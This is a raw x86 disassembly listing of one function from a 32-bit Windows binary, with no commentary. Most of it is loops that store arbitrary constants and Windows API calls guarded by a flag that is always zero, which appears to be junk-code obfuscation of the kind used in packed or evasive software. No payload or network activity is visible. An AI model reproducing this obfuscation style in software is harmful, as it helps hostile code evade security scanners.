jle 0x10032661
mov eax, dword [ebp - 0x3d0]
xor ecx, ecx
mov dword [ebp - 0x3d4], eax
inc ecx
xor eax, eax
or esi, 0xffffffff
jmp 0x100326af
or esi, 0xffffffff
mov dword [ebp - 0x28], esi
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x1003269c
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x24], eax
inc ecx
jmp 0x100326aa
inc dword [ebp - 0x28]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x100326a4
mov dword [ebp - 0x30], 0xf4a8b108
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x10], 0xe28de637
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x100326ef
xor edi, edi
inc edi
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x608], 0x94a1888
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100326ce
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x20], eax
jmp 0x10032705
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1024], 0xe9323d1b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100326f4
mov eax, dword [ebp - 0x608]
cmp eax, dword [ebp - 0x24]
jl 0x1003275e
mov dword [ebp - 0x28], esi
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], eax
inc eax
cmp dword [ebp - 0x24], eax
jge 0x10032746
xor edi, edi
inc edi
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xda0], 0x54a20a2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003272a
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 0x28], 0xfffffffb
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1024], eax
dec dword [ebp - 0x10]
jmp 0x100327f4
xor eax, eax
mov dword [ebp - 0x28], 0xc3fc0233
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x25
jge 0x100327bb
mov dword [ebp - 0x4c], 0xfffffffa
cmp dword [ebp - 0x4c], eax
jne 0x10032784
cmp dword [ebp - 0x24], eax
je 0x10032786
mov eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x100327ac
push 0x21a4
push eax
push eax
push 0xb70
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x25
push 0
pop eax
push 1
pop ecx
jl 0x10032773
mov dword [ebp - 0x24], 0xffffffee
jmp 0x100327ee
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100327e5
mov ecx, 0xffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x89c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100327d1
xor eax, eax
inc dword [ebp - 0x898]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffffb
je 0x100327c4
mov dword [ebp - 0x20], 0xca2c
xor eax, eax
mov dword [ebp - 0x24], 0x924f
xor ebx, ebx
mov dword [ebp - 0x18], 0x1d0b6bd0
inc ebx
push 7
pop edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0x684085ef
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0x28a21817
mov dword [ebp - 0x2c], eax
push 2
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x54], 0x2e18e6f9
mov dword [ebp - 0x38], 0x1843ad33
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], 0x5505f459
mov dword [ebp - 0x2c], 0xf6066fa4
mov dword [ebp - 0x2c], 0xb094c655
mov dword [ebp - 0x2c], 0xbb6
mov dword [ebp - 0x54], 0x14a140c5
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x18], 0xcd55
mov dword [ebp - 0x18], 0x4c1c0855
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100328a0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8ac], 0xfffffff7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10032888
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x100328ae
mov eax, dword [ebp - 0x20]
xor eax, eax
mov esi, eax
jmp 0x100328b6
xor eax, eax
xor ebx, ebx
inc ebx
lea esi, [eax + 1]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp esi, ecx
setl al
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x20], eax
je 0x10032925
mov eax, dword [ebp - 0x54]
inc dword [ebp - 0x54]
sub eax, dword [ebp - 0x40]
jne 0x10032919
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x8ac]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
jne 0x10032948
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003294a
mov eax, ebx
mov edx, dword [ebp - 0x48]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x8ac]
push 2
pop ebx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setne cl
xor edx, edx
add ecx, 0x8f7c4fbb
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x54], edx
mov edx, dword [ebp - 0x54]
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
neg edx
cmp edx, eax
setg cl
imul ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100329bc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd40], 0x4b13281d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100329a4
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x2c], 0xe164caf
mov dword [ebp - 0x2c], 0x6b471dfd
mov dword [ebp - 0x24], 0xe5b14f4e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x100329fa
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x624], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x100329e1
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffff5
jg 0x10032af6
xor edi, edi
inc edi
or ecx, 0xffffffff
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x28], 0xe13ca4d9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10032a39
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x103c], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10032a20
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x10032ae3
mov dword [ebp - 0x4c], ecx
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x878], ecx
mov dword [ebp - 0x874], ecx
mov dword [ebp - 0x870], ecx
mov dword [ebp - 0x34], 0x4157736d
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edi
jge 0x10032a8a
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xef0], 0x5b263d18
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x10032a72
xor eax, eax
dec dword [ebp - 0x870]
cmp dword [ebp - 0x4c], eax
je 0x10032a9c
mov esi, edi
cmp dword [ebp - 0x28], eax
jne 0x10032a9e
mov esi, eax
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0
mov ecx, dword [ebp + eax*4 - 0x624]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
cmp eax, esi
setne cl
imul eax, ecx, 0xffff
xor ecx, ecx
cmp edx, eax
pop eax
setl cl
mov dword [ebp - 0x1038], ecx
inc dword [ebp - 0x10]
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x10], ebx
jle 0x10032a45
or ecx, ecx
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffff5
jle 0x10032a0d
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [ebp - 0x24], ebx
push 8
pop esi
cmp dword [ebp - 0x24], eax
jl 0x10032b94
xor edi, edi
mov dword [ebp - 0x54], 0x1dd79339
xor edx, edx
mov dword [ebp - 0x4c], 0x3d4c4698
mov dword [ebp - 0xbc8], esi
mov dword [ebp - 0xbc4], esi
mov dword [ebp - 0xbc0], esi
mov dword [ebp - 0xbbc], esi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x624]
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x624]
cmp eax, 0x8216
mov eax, dword [ebp - 0x24]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x624]
cmp edx, eax
mov eax, dword [ebp - 0x54]
setge cl
inc dword [ebp - 0x54]
cmp eax, ecx
je 0x10032b74
lea eax, [edi + 1]
jmp 0x10032b76
xor eax, eax
neg eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xbbc], eax
dec dword [ebp - 0x24]
jns 0x10032b07
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe6
jle 0x1003319d
jmp 0x10032ba5
xor eax, eax
push 0xfffffffffffffff8
pop ecx
mov dword [ebp - 0x934], ecx
mov dword [ebp - 0x930], ecx
mov dword [ebp - 0x92c], ecx
mov dword [ebp - 0x928], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10032be2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x118], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10032bce
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10032bf8
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xad4], 0xa63a74ad
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10032be7
mov dword [ebp - 0x114], 0xfffa
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x928], eax
mov dword [ebp - 0xacc], eax
xor eax, eax
cmp dword [ebp - 0x928], eax
je 0x10032d18
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jle 0x10032cdc
xor edi, edi
inc edi
mov dword [ebp - 0x28], 0xfff6
mov dword [ebp - 0x10], eax
jmp 0x10032c8f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1054], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10032c7e
cmp dword [ebp - 0x20], ecx
jne 0x10032cbd
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xacc]
cmp dword [ebp - 0x28], edi
jne 0x10032cab
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xacc]
mov dword [ebp - 0x104c], eax
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jg 0x10032c72
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 4
pop edx
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x54], 0xc755
mov dword [ebp - 0x28], 0xd19ac196
mov dword [ebp - 0x28], 0x9cc14173
mov dword [ebp - 0x2c], 0x8872fa4a
mov dword [ebp - 0x2c], 0xa733e34b
mov dword [ebp - 0x18], 0xa5f9c710
mov dword [ebp - 0x10], eax
jmp 0x10032db5
mov dword [ebp - 0x54], 0xbc72ea12
mov dword [ebp - 0x2c], 0xc687044
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov dword [ebp - 0x10], eax
inc ecx
cmp dword [ebp - 0x10], ebx
jge 0x10032d43
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1094], ecx
inc dword [ebp - 0x10]
jmp 0x10032d2f
push 4
pop edx
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 0x11
jne 0x10032d80
mov dword [ebp - 0x18], 0x46409ef3
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
xor eax, eax
cmp dword [ebp - 0x54], eax
jne 0x10032d82
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
je 0x10032d4f
jmp 0x10032d82
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10032d98
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x118], 0x892ebbae
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10032d87
xor eax, eax
jmp 0x10032cdf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3dc], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032da4
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edx
jne 0x10032de0
cmp dword [ebp - 0x54], eax
je 0x10032de0
lea esi, [eax + 1]
jmp 0x10032de2
mov esi, eax
inc dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3d8]
cmp ecx, eax
mov eax, dword [ebp - 0x3dc]
setne dl
xor ebx, ebx
cmp edx, esi
setne bl
xor ecx, ecx
cmp ebx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x3d8], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jge 0x1003318a
push 0xfffffffffffffff9
mov dword [ebp - 0x20], eax
pop ecx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x20], 0x10
push 3
pop esi
cmp dword [ebp - 0x20], ecx
jl 0x10032e81
mov dword [ebp - 0x4c], 0xfffffffe
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
jmp 0x10032e59
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdc0], 0xf4672159
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10032e48
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xdb8], eax
dec dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], ecx
jge 0x10032e39
mov dword [ebp - 0x20], 0xfffffff2
jmp 0x10032e97
mov dword [ebp - 0x28], 6
inc dword [ebp - 0x28]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x16
je 0x10032e8a
mov dword [ebp - 0x20], eax
xor ebx, ebx
mov dword [ebp - 0x3c], eax
inc ebx
mov dword [ebp - 0x28], 0xa6d0811
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xa
jle 0x10032f95
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x34], 2
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032ed4
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [ebp - 0x3c]
mov edx, ebx
mov dword [ebp - 0x28], eax
xor ecx, ecx
mov eax, dword [ebp - 0x10]
sub edx, eax
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
neg eax
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x3c]
jle 0x10032f01
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10032f01
cmp dword [ebp - 0x10], eax
je 0x10032f04
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
cmp eax, 0xe731
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
cmp eax, edx
setne cl
add ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x3c]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
imul ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x10032f53
cmp dword [ebp - 0x3c], eax
je 0x10032f53
mov eax, ebx
add eax, 0x3bab7214
je 0x10032f6d
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10032f83
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x10032f83
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10032f93
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10032f83
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xa
push 0
pop eax
jg 0x10032eba
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x10033181
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032fc0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032fac
xor eax, eax
mov dword [ebp - 0x14c], 0xffffffeb
jmp 0x10032fd8
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x28]
inc dword [ebp - 0x14c]
cmp dword [ebp - 0x14c], 0x19
jge 0x10032fcc
mov dword [ebp - 0x10], eax
jmp 0x10032ffe
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032ffb
push eax
push 0x1c96
push eax
push eax
call edi
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe8
jge 0x10032fe6
mov dword [ebp - 0x44], 0x110c93b4
mov ecx, 0x17633efc
mov dword [ebp - 0xca8], ecx
mov dword [ebp - 0xca4], ecx
mov dword [ebp - 0xca0], ecx
mov dword [ebp - 0xc9c], ecx
mov dword [ebp - 0x44], eax
jmp 0x10033138
mov dword [ebp - 0x10], 0xfffffffd
mov dword [ebp - 0x10], eax
jmp 0x1003312c
mov dword [ebp - 0x40], 0x22a149ce
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x40], eax
jl 0x100330b1
mov dword [ebp - 0x38], 0x71247adf
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jg 0x100330ac
mov dword [ebp - 0x24], 0xdfe012d2
mov dword [ebp - 0x24], eax
jmp 0x10033092
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003307a
call dword [sym.imp.USER32.dll_WaitMessage]
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003308f
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10033069
mov eax, dword [ebp - 0x10]
push 0
mov eax, dword [ebp + eax*4 - 0xca8]
inc dword [ebp - 0x38]
pop eax
cmp dword [ebp - 0x38], esi
jle 0x1003305d
dec dword [ebp - 0x40]
jns 0x1003304e
mov dword [ebp - 0x40], eax
jmp 0x10033124
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100330d6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1cc], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100330be
xor eax, eax
mov dword [ebp - 0x1cc], esi
cmp dword [ebp - 0x1cc], eax
jl 0x10033121
mov dword [ebp - 0x24], 0xd40a1650
mov dword [ebp - 0x24], eax
jmp 0x10033114
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10033111
push ebx
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x100330f0
dec dword [ebp - 0x1cc]
jns 0x100330e4
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], esi
jle 0x100330b6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x1003303f
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 7
je 0x10033030
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10033166
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0x639
push eax
call ebx
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xd40], 0
jne 0x1003317f
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x10032fa1
xor eax, eax
inc dword [ebp - 0x18]
js 0x10032e1d
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe6
push 2
pop ebx
push 8
pop esi
jg 0x10032ba3
inc dword [ebp - 0x944]
cmp dword [ebp - 0x944], 0xf
jg 0x10032612
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
mov dword [ebp - 0x10], 0x8b13eca4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
push 0xfffffffffffffff9
mov dword [ebp - 0x10], 0xffffffea
pop eax
cmp dword [ebp - 0x10], eax
je 0x10033204
xor eax, eax
mov dword [ebp - 0x28], 0x876942a1
inc dword [ebp - 0x28]
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x100331fb
push eax
push 0xfd7
push 0xb04
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff9
jne 0x100331d4
xor eax, eax
mov byte [ebp - 0x11], al
mov dword [ebp - 0x10], 0xad313dd3
mov dword [ebp - 0x28], 0xe700d62e
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10033237
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x844], 0xe01b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003321f
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff0
cmp dword [ebp - 0x10], 0xffffffe2
jne 0x10033301
xor esi, esi
inc esi
or edi, 0xffffffff
mov dword [ebp - 0x24], 0xe8c9f369
mov dword [ebp - 0xb68], edi
mov dword [ebp - 0xb64], edi
mov dword [ebp - 0xb60], edi
mov dword [ebp - 0xb5c], edi
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], eax
jl 0x100332d6
mov dword [ebp - 0x28], 0x3f7e813a
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setg dl
mov dword [ebp - 0xb60], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x844]
mov eax, dword [ebp - 0x840]
xor eax, eax
cmp dword [ebp - 0x10], eax
mov byte [ebp - 0x4d], al
je 0x100332bc
cmp byte [ebp - 0x4d], al
je 0x100332cf
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
jmp 0x100332cf
cmp byte [ebp - 0x4d], al
je 0x100332ca
push eax
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100332d4
dec dword [ebp - 0x24]
jns 0x10033275
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x100332e8
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xffffffe2
je 0x1003324e
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, dword [sym.imp.GDI32.dll_CreateRectRgn]
cmp byte [ebp - 0x11], 0
je 0x100333b9
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x1003332d
or edx, 0xffffffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x730], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10033319
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1003334d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x126c], 0x3eb905d0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10033335
xor eax, eax
mov dword [ebp - 0x728], 0xffffffe8
jmp 0x1003339a
mov dword [ebp - 0x10], 0x38ab659d
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10033372
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003338f
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003338c
push eax
push 0x1c96
push eax
push eax
call edi
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x10033377
inc dword [ebp - 0x728]
cmp dword [ebp - 0x728], 0xfffffffe
jle 0x10033359
push 0x1205
push 0xbf4
push 0x12c3
push 0x190d
call esi
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersion]
mov eax, 0x66c93ee3
mov esi, dword [sym.imp.ADVAPI32.dll_GetLengthSid]
inc edi
xor edx, edx
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x964], eax
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], eax
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
xor eax, eax
imul edx, dword [ebp - 0x1c]
mov dword [ebp - 0x95c], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jg 0x10033488
mov dword [ebp - 0x18], 0xb1c03809
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], eax
jl 0x1003346d
mov dword [ebp - 0x24], 0xd7540573
mov dword [ebp - 0x24], eax
jmp 0x10033462
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
jmp 0x1003344b
cmp byte [ebp - 0x11], 0
je 0x10033448
call ebx
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
